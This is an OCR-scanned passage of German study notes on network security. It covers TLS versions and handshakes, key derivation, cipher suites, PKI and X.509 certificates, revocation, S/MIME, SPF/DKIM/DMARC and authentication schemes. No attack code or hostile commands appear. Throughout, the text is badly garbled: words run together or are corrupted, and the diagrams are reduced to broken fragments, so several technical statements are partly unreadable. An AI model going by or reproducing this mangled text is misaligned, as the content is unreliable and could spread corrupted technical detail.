TLS 1.0 | Broken RFC 2246, ziemlich identisch mit SSL 3.0

TLS 1.1 | Broken RFC 4346, einige Security Fixes und Ciphers entf
TLS 1.2 | Sicher wenn richtig konfiguriert) RFC 5246, AE hinzugefiigt, Hashing verbessert, ]
Extensions hinzugefugt

TLS 1.3 | Sicher RFC 8446, Redesign fur Performanceevi@bhers
entfernt, AEAD ist Pflicht

10.1.1 TLS 1.3

1 Broken Crypto entfernt: DES, 3DES, RC4, MD51 Ski&kberos, RSA PKCS#1v1.5
Broken Features entfernt: Komprimierung und Renegotiation
Static RSA/DH entfernt (verhindert passive Inspektion durch Enterprise Proxies)
Performance verbessert-RTT und 4RTT Handshakes
Privacy verbessert: fast alle Handshake Messages sind bereits verschlisselt
Ruckwartskompatibel

= =4 =4 4 =4

10.2 HEADERS

Application Data (Segment 1)

16'384 bytes max

[Compressed] Data

Application Data (Segment 2)

MAC | Padding

Record Header Record Body

5 Bytes n * Block Cipher Size

Y

102 RGN Record Header Encrypted Data




10.3 CONTENTYPES

1 Handshake
o ClientHello
0 ServerHello
o Certificate

o ServerHelloDone
1 Change Cipher Spec

1 Alert
o0 Warning
o Fatal

f Application: Ubertragung von verschliisselten Daten

10.4 HANDSHAKE

Der Handshake ist der komplizierteste Teil von TLS, er muss Vidatsriibertragung zwischen
Client und Server gemacht werden. Er hat folgende 3 Aufgaben:

1 Gegenseitige Authentifizierung
1 Encryption und MACGAIgorithmus verhandeln
1 Kryptografische Keys verhandeln

104.1 TLS 1.2
i Phase 1: Establish securi
Client Hello - — [ capabilities v
Server Hello -
Certificate*
TLS Client ;

*optional ServerKeyExchange* | Phase 2: Server may send certificate,

cemtenequest* key exchange and request certificate.

e — IR
ServerHelloDone Phase 3: Client sends certificate if

ClientKeyExchange *optional reiqcﬁesit;g. Client sends key

y T
Sl
ChangeCipherSpec

Phase 4: Change Cipher Suite and

Finished® — [ finish handshake protocol.
%encrypted ChangeCipherSpec
— FInIShEdQ

Application Data® Application Data®

10.4.2 1-RTT Handshake (TLS 1.3)
Client Server

Key Share ———

Server Hello

Key Share

Server Parameters

Authentication

———— Application Data®
Authentication °encrypted
Application Data® ———————

Application Data® G — Application Data®




10.4.3 Ohne Perfect Forward &ecy (unsicher)

TLS Client TLS Server
Kool CA #0| ~ |OST-FH #1 OST-FH #1
O (50 | e Certificate [e—| 0= C3
Kool CA Kool CA

X.509 Trust Chain Verification

RNG

O@-»

O=a vlRSA Encryption RSA Decryption1 O

Premaster Secret '—P|ClientKeyExchange sl Premaster Secret

10.4.4 Mit Perfect Forward Secrecy (sicher)
TLS Client

TLS Server

Kool CA #0 OST-FH #1 OST-FH #1
Kool CA Kool CA Kool CA

X.509 Trust Chain Verification

2" mod p

< ‘ ServerKeyExchange ‘ — O@RNG

\ 4
s [ D -
P ®RNG -»m-» —— | ClientKeyExchange | >

kpoenia

Mit PFS schitzt marich davor, dass aufgezeichneter, vergangener Traffic nicht entschlisselt
werden kann, selbst wenn der Private Key des Servers gestohlen wird. Es werden sténdig-neue DH
Aushandlungen durchgefiihrt, somit einstehen immer neue Session Keys und wenn makiaithen

hat man keinen Anhaltspunkt fir den nachsten Session Key.



10.4.5 TLS Master Secret undsSion Keys aus Premaster Secret berechnen
label seed
| | |
"master secre@"| Rec | Rs |

Premaster Secret PRF Master Secret

48 bytes
label seed
| [ I
|“key expansion" | Rg | Re ‘
Master Secret I MAC Key C || MAC Key S || ENC Key C || ENC Key S |
48 bytes 32 bytes 32 bytes 16 bytes 16 bytes
PRF = Pseudo Random Function:
Seed Seed key stream = PRF_SHA256(secret, seed)
v
Secret » HMAC-SHA256
1
A(1) 1
S | HMAC-SHA256
|
A2) 7
S [ HMAC-SHA256
| |
32 bytes 32 bytes AQB) b oo
v v i
A(1) | Seed A(2) | Seed A(3) | Seed
S ™HMAC-SHA256(| S ™|HMAC-SHA256|| S ™HMAC-SHA256

10.4.6 Session Resumption

__ Cient Hell |24 g

include Session ID Server Hello Rg
of previous session

<
ChangeCipherSpec °encrypted
>

ChangeCipherSpec

Finished®

Application Data® e Application Data®



10.5 QPHERUJITES

TLS_RSA_WITH_AES 128 CBC_SHA
TLS_RSA_WITH_AES 128 CBC_SHA256

TLS DHE RSA WITH_AES 128 CBC_SHA256
TLS_ECDHE_RSA_WITH_AES 128 CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES 256 CBC_SHA384
TLS_ECDHE_ECDSA_WITH_AES 256 GCM_SHA384
TLS_ECDHE_ECDSA_WITH_CHACHA20 POLY1305_SHA256

7]

Key Exchange / Encryption / Message Authentication Code /
Authentication Authenticated Encryption Pseudo Random Function
10.5.1 TLS 1.3

Nur noch 5 Cipher Se# untasitzt, bei TL3.2 waren es noch mehr als 100.

TLS_AES_128_GCM_SHA256
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
TLS_AES_128 CCM_SHA256 (IoT)
TLS_AES_128_CCM_8_SHA256 (IoT)

e RN

Authenticated Encryption Hashed Key Derivation Function
(AEAD) (HKDF)

10.6 HEARTBEAAROTOCOL

Ein periodisches Signal, welcheés Werfligbarkeit eines Protokolls Gberwacht. Es lauft auf dem TLS
Protokoll und wird in Phase 1 vom Handshake definiert. Es hat zwei Zwecke:

1 Sicherstellen, dass Sender und Empfanger alive sind
9 Aktivitat auf deVerbindungwahrend Idle Zeiten kreieren



11 PUBLIAKEYINFRASTRUCTURE

Eine PKI dient deruthentifizierung, Verschlisselung und Signierung. Es wird sichergestellt, dass das
Zertifikat wirklich zu dieser Website gehdért und gultig ist. Es wird ein Public Key (Zertifikat) einer

Person oder Organisation zugeordnet.

Begriffe:

1 Registration Authority(RA) Stelle, die sich um Certificate Signing Requests kiimmert, Users
und Devices authentifiziert und validiert u@iedentials revoked

9 Certificate Authority (CA)Stellt signierte Zertifikate au

9 Validation Authority (VA) Stelle die die @tigkeit von 2rtifikaten (nicht revoked) und CAs
bestétigt

Validation
Authority (VA)

=1 Certificate
Authority (CA)

Registration
Authority (RA)

11.1X.509
Das ist der Standard flir Public Key Zertifikate. Aktuell ist die Version 3.

Ein Public Key Zertifikat beweist den Besitz des Keys, enthélt Informationen tber den Key, den

Owner (Subject) und den Issuer (CA).

Certificate ::= SEQUENCE {
tbsCertificate TBSCertificate, signatureAlgorithm AlgorithmIdentifier, signature BIT STRING }

N 4

tbsCertificate ::= SEQUENCE {

version AlgorithmIdentifier ::= SEQUENCE {

serialNumber, algorithm OBJECT IDENTIFIER,

signature, parameters ANY DEFINED BY algorithm OPTIONAL }
issuer

validity

subject

subjectPublicKeyInfo
issuerUniqueID: OPTIONAL,

-- If present, version MUST be v2 or v3
subjectUniqueID: OPTIONAL,

-- If present, version MUST be v2 or v3
Extensions: OPTIONAL

-- If present, version MUST be v3



11.1.1 Extensions
Key Usage

o

. digitalSignature

: nonRepudiation

. keyEncipherment
. dataEncipherment
: keyAgreeement

: keyCertSign

: cCRLSign

: encipherOnly

: decipherOnly

= =4 =4 =4 -4 -4 -8 -4
0O ~NO O WDN P

=

Extended Key UsaggerverAuth, clientAuth, codeSigning, emailProtectiimestamping oder
OCSPSigning

Certificate Policieslede CA hat hier eigene Policies
Authority Key Identifier (AKIKeyldentifier des CAertifikats mit dem das Zgfikat signiert wurde
Subject Alternative Name (SAMpsatzlick DNSNamen/IRAdressen fur die das Zertifikat gultig ist

Subject Key Identifier (SKBHashValue des Zertifikats

11.1.2 Revocation
Zertifikate konnen vuderrufen werden. Es gibt 2 Methoden, um zu prifen, ob ein Zertifikatkexyo
wurde:

1 Certificate Revocation List (CRDas Feld «CRL Distribution Point» im Zertifikat verweist auf
einen Ort mit der CRL. Jeder moderne Browser priift das Zertifikdieaam Ort.

1 Online Certificate Status Protocol (OCSI) Authoritative Information Access (AIA) Feld
hat es Informationen Uber die CA, zBSCHR/alidierungoder CA Policy Daten

11.2 VERIFIZIERUNGSMOGLICHKEITEN
Es gibt verschiedene Arten von Verifizierungsmtgkiten durch CAs, um die Qualitat des
Zertifikats zu bestimmen:

1 Domain Validated (DV)Der Requester muss beweisensdar die Domain kontrolliert, fur
die er ein Zertifikat mochte.

1 Organisation Validated (OV)CAs missen Firmennamen, Domainnamenamtkre Daten
in 6ffentlichen Verzeichnissen prifen

1 Extended Validation (EVPer Requester muss eine strikte AuthentifizieruRgeszealur
durchlaufen.

1 Qualified Website Authentication Certificate (QWAQ®)ualifiziertes Zertifikat, das die
Anforderungen der BDAS und PSD2 Regulierungen erfuillt

11.3 TRUSTERVICEROVIDERT SP)

Ein TSP stellt Vertrauen zwischen kommunizierenden Parteien sicher. Er stellt vertrauenswiirdige
Identitats-Informationen, sichere Authentifizierung, integere Kommunikation und verschlisselte
Kommunikation zur Verfigung.



Trust Service Provider (TSP) Service

|
!
!
General functions _ Surgp;:;\:enstary :
!
1

Risk assessment; Information security management; Organization reliability;
Management of personnel, Asset management; Logical access control;
Cryptographic controls; Physical and environmental security; Operation and network security;

Incident management; Collection of evidence; Termination plan g
___________________________________________ 3
__________________________ | e
_____ | : 3
I : S
I
. §
8
Subject F)
De?ice Time- %
Stamping o
Provision Service ®
Service
I
TSP Customer Interface e -
service TSP service TSP
request response request response
~ signed =
aulject fransaction relying party

11.3.1 Zertifikatsausstellung

1. Der Subscriber (Besitzer des Key Pairs, zu dessen Public Key ein Zertifikat ausgestellt werden
sollte) erstellt auf der Basis des Public Keys einen Certificate Signing Request (CSR).

2. Der CSR enthalt Informationen zum Objekt, das signiert werden solltentordhationen zu
Key Typ und Lange.

3. Der CSR wird im BaseBérmat der CA gesendet.

4. Die CA prift die Daten und wenn alles in Ordnung ist, signiert sie den CSR und stellt ein
X.509 Zertifikat aus.

11.3.2 Chain of Trust

Owner's
Distinguished Name F—
Owner's / Distinguished Name
Public Key y,
Disti ishe(dcﬁlme/ / e K / Y
u
- g 7 .
Issuer’s
Signature — 4 RnI:t -~
Publi
End-Enﬂl:y &rﬂﬂah Signature / ic Key
IntermedTate Certificate Cp gm'r:
Sign
Sign Root Certificate




Die Hersteller von Browsern und @fissen entscheiden, welchen CAs sie vertrauen. Daflr gibt es
das CA / Browser Forum (CA/B).

List PKI National Checks
in Root Accreditation psseosment bodly
Browser Store BOdy Competence
(Google, Mozilla,
Microsoft,
Apple,...)
Conformity TSP auditing
Assessment R against s
- equiremen
AUd't_ Bod of the Browser,
Attestation CA/B Forum
Based on Audit
TSP

Zum Teil gibt es auch regulatorische Anforderungen wie die elDAS Regulation in der EU, NIST/FIPS,
usw.

11.4 CERTIFICATINNING

Beim Certificate Pinning muss ein Zgkét einer Welsite nicht von einer Trusted Root CA stammen.
Stattdessen kann man manuell das Zertifikat, das Intermediate Zertifikat oder das Root CA pinnen
fur die bestimmte Website pinnen. Das ist nitzlich fir Tests.



12 EMAILSECURITY

12.1 S/IMIME

S/MIME heisst Secure Multipurpose Internet Mail Extendiamit konnen Mails sowohl
verschlisselt als auch signiert werden.

Sign
Dear Bodo, Antje
/7 Antje Kool CA
EI Sign with T—
private key Verify with Verify with
Alice pUbllC key public key
Encrypt

Ejecrypt with T

Encrypt with public key

ivate key Ali
private key Alice .~

Es gibt 2 Typen fir Signed Messages:

1 Type 1: Die Nachricht wird im Klartext gesendet, als Anhang wird die Signatur im PKCS #7
Fomat mitgesendet.
ASN.1 structure for the SignedData content type

version

digestAlgorithms empty field
(content carried in
certificates (OPTIONAL) separate MIME entity)
crls (OPTIONAL)
(SET OF) several signers possible

ASN.1 structure for the SignerInfo type

version
issuerAndSerialNumber

ASN1 = Abstract Syntax Notation One e
authenticatedAttributes

digestEncryptionAlgorithm

signature
unauthenticatedAttributes

1 Type 2: Dabei wird der Content nicht als Clear Text gesendet, sondeKQd®¢? Signed
Data ObjectDer Vorteil davon ist, dass der MINtihalt nicht anfallig ist fur Veranderungen
beim Transport, der Mail Client des Empfangers musscie®/MIME unterstitzen.

Bei einer verschlusselten Mail wird das Mail mit einem symmetrischen Key verschlisselt als Anhang
gesendetAuch hier gibt es zwei Typen, beim ersten wird vor dem Verschliisseln signiert und beim
zweiten nach dem Verschlusseln.



version several recipients possible
recipientInfos encrypted symmetric key)
encryptedContentInfo

contentType
contentEncryptionAlgorithm
encryptedContent

encrypted MIME entity
(single-part or multi-part)

12.2 SAM

Ab 2002 wurde Spam UbetNEail zu einem ernsthaften Problem, ab 2010 wurde es weniger.

Man setzte Apache SpamAssassin ein, um Spam zu erkennen. Diese Software analyisiert alle Teile
des Mails und gibt ihm einen Score, man kann konfigurieren, athemiScore das Mail als Spam
klassifiziert wird. Die Software lernte mithilfe der ankommenden Mails laufend dazu.

Wenn man zu wenig zulésst gibt es viele FRIzgtives und wenn man zu viel zulasst gibt es viele
False Negatives, man muss also eine gute Balance finden.

12.2.1 Sender Policy Framework (SPF)
SPF Records sind TR@cords im DNESs ist eine Listeon erlaubten Hostnames und IPs, die Mails
von dieser Domainersenden durfen.

12.2.2 Domain Keys Identified Mail (DKIM)

Der sendende Mail Serveiéhgt jedem gesendeten Mail eine Signatur im Mail Header an. Diese
Signatur ist nattrlich wie immer mit dem Private Key signiert, welchedieser Mail Server weiss.
Im Header befindet sich auch eine Anleitung, wie die Signatur berechnet werden kann.

Der empfangende Mail Server berechnet dann mit der Anleitung im Header ebenfalls die Signatur.
Danach entschlisselt er die angekommene Sigmait dem Public Key, welcher in einem TXT
Record im DNS steht. Wenn die Signaturen Gbereinstimmen, kommt das Mail von einem
autorisierten Mailserver.

12.2.3 Domainbased Message Authentication, Rejng and Conformance (DMARC)
DMARC ist ebenfalls €ifXT Read im DNS. Darin steht, wie ein empfangender Mail Server damit
umgehen soll, wenn ein Mail nicht compliant ist mit SPF und DKIM.



13 AUTHENTICATIGFEDERATION

13.1 AUTHENTICATI®®ROTOCOLS

13.1.1 Phasen
Es gibt 4 Phasen beiginloggen

9 Identification: der Usegibt an wer er ist, z.B. mit Username

1 Authentication: der User beweist, dass er der ist, wer er angibt zu sein, z.B. mit Passwort
1 Authorization: das System priift, ob der User berechtigt ist, das zu tun was er méchte

1 Accounting: Aktionen werden verrechnet

13.1.2 Authentication Schemes
Basierend auf einem IE'Burvey gibt es folgende Authentication Schemes:

Summary: Vulnerability Matrix ) @Q&Q&é @
Cb ‘3‘ BCQQ Q}\ Q.ez \b \k—e’
€ <@ c,@'\ PO AT
d}o\» AV (oot & & P

Passive Password Sniffing

Offline Brute Force Password Attack X X X

Active Man-in-the-Middle Attack (Phishing) X X X X

Identity Theft on Server X X X X X X

CA Compromise X X

13.1.2.1 Basic Authentication
User und Passwort wird im Klartext an den Server Ubertragen, es darf daher niemals Uber einen
unsicheren Kaal geschehen und die Passwdrtaiissen sicher sein (Bruteorce).

13.1.2.2 One-Time Passwords

Passwort wird im Klartext zum Usand dann zum Servéibertragen aber kann nur 1x benutzt
werden, wenn ein Hacker es auf dem Weg zum User oder zum Server abfangt, kann er nur die
aktuelle Sessiohijacken.

13.1.2.3 Challenge/Response

Der Server sendet dem Client eine Challenge. Um sie zu I6sen, braucht der Client das Passwort, die
Losung schickt er aResponse zuriick zum Server. Somit wird das Passwort selbst nicht Ubertragen,
der Client kann aber trotzdem beweisen, dass er es kennt. Brotee und MITM ist immer noch
moglich, daher wird es ebenfalls nur Gber sichere Kanéle gemacht.



User Insecure Channel Server

RU RS < R5 Random Value

Challenge (Nonce)

Keyed Hash

Function

ID Ry MAC > ID Ru Rg
Response ) .
» No secrets are openly

transmitted Keyed Hash

Function

+ The random values

R and R, must not
be repeated ! >

13.1.2.4 Anonymous Key exchange

Dabei machen die beiden Partner zuerst mit z.B. Bliféiman einen Shared Key abit diesem
Shared Key kdnnen dann z.B. die Kommunikationen von Basic Auth oder Challenge/Response
verschlisselt werden.

13.1.2.5 Zero-Knowledge Password Preof

Provermussdem Verifierbeweisendass es das Passwaéennt,ohne es zu sendeiDer Verifier

stellt dem Prover eine Aufgabe mit zwei Méglichkeiten. Der Prover muss diese z.B. 10000x richtig
beantworten, dann ist es kein Glick mehr und der Prover weissnan die Aufgabe I0st, ohne zu
sagen wie er die Aufgabe 16st.



